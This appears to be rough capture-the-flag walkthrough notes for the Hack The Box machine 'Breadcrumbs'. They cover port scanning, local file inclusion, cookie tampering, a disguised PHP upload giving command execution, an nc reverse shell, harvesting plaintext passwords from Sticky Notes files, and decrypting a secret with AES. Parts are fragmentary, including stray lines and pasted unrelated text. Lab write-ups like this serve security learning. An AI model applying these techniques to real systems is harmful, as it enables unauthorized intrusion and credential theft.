┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.228 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1) 445/tcp open microsoft-ds? 3306/tcp open mysql? 5040/tcp open unknown 7680/tcp open pando-pub? 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3306-TCP:V=7.91%I=7%D=2/23%Time=6034FA27%P=x86_64-pc-linux-gnu%r(RP SF:CCheck,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.12'\x20is\x20not\x20a SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(X11Probe SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.12'\x20is\x20not\x20allowed SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server"); Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Description
Lfi on books page by and making a post request to search a book, change request and change method variable to 1 and remove title and author and replace with book
Login portal with a random account, edit your cookies with the tokens refresh
Now Paul
get user
Go to file management and upload a php script in a file (maybe like reverseshell.html) and intercept with burpsuite and change the .zip at the bottom to .php if not work out title and author in like valid book http://10.10.10.228/books
due to upload button not working, view the following page to makeup file upload request package by yourself.
<p>About:<br>Animal Farm is an allegorical novella by George Orwell, first published in England on 17 August 1945. The book tells the story of a group of farm animals who rebel against their human farmer, hoping to create a society where the animals can be equal, free, and happy.</p>
go to http://10.10.10.228/portal/uploads can execute your file and now command execution
Host Name: BREADCRUMBS OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19041 N/A Build 19041 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: temp Registered Organization: Product ID: 00331-20309-59368-AA373 Original Install Date: 1/15/2021, 3:27:37 PM System Boot Time: 2/23/2021, 4:41:02 AM System Manufacturer: VMware, Inc. System Model: VMware7,1 System Type: x64-based PC
┌──(root💀kali)-[~] └─# nc -lvp 3221 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::3221 Ncat: Listening on 0.0.0.0:3221 Ncat: Connection from 10.10.10.228. Ncat: Connection from 10.10.10.228:50994. Microsoft Windows [Version 10.0.19041.746] (c) 2020 Microsoft Corporation. All rights reserved.
juliette@BREADCRUMBS C:\Users\juliette\Desktop>type todo.html <html> <style> html{ background:black; color:orange; } table,th,td{ border:1px solid orange; padding:1em; border-collapse:collapse; } </style> <table> <tr> <th>Task</th> <th>Status</th> <th>Reason</th> </tr> <tr> <td>Configure firewall for port 22 and 445</td> <td>Not started</td> <td>Unauthorized access might be possible</td> </tr> <tr> <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td> <td>In progress</td> <td>It stores passwords in plain text</td> </tr> <tr> <td>Add new features to password manager</td> <td>Not started</td> <td>To get promoted, hopefully lol</td> </tr> </table>
</html>
now need development user Go to the location on windows where sticky notes are and download the plum.sqlite plum.sqlite-shm plum.sqlite-wal
1 2 3 4 5 6 7 8 9 10 11 12 13 14
juliette@BREADCRUMBS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState>dir Volume in drive C has no label. Volume Serial Number is 7C07-CD3A
Directory of C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
development@BREADCRUMBS C:\Development>dir Volume in drive C has no label. Volume Serial Number is 7C07-CD3A Directory of C:\Development 01/15/2021 04:03 PM <DIR> . 01/15/2021 04:03 PM <DIR> .. 11/29/2020 03:11 AM 18,312 Krypter_Linux 1 File(s) 18,312 bytes 2 Dir(s) 6,310,158,336 bytes free
Krypter_Linux
ida open Krypter_Linux
Inside there is command and you can see what it does when on box you do
Base 64 decode string After base 64 decrypt do aes decrypt Use cyberchef with input and output mode raw Key in Latin and IV in hex (iv =0000000000000000)
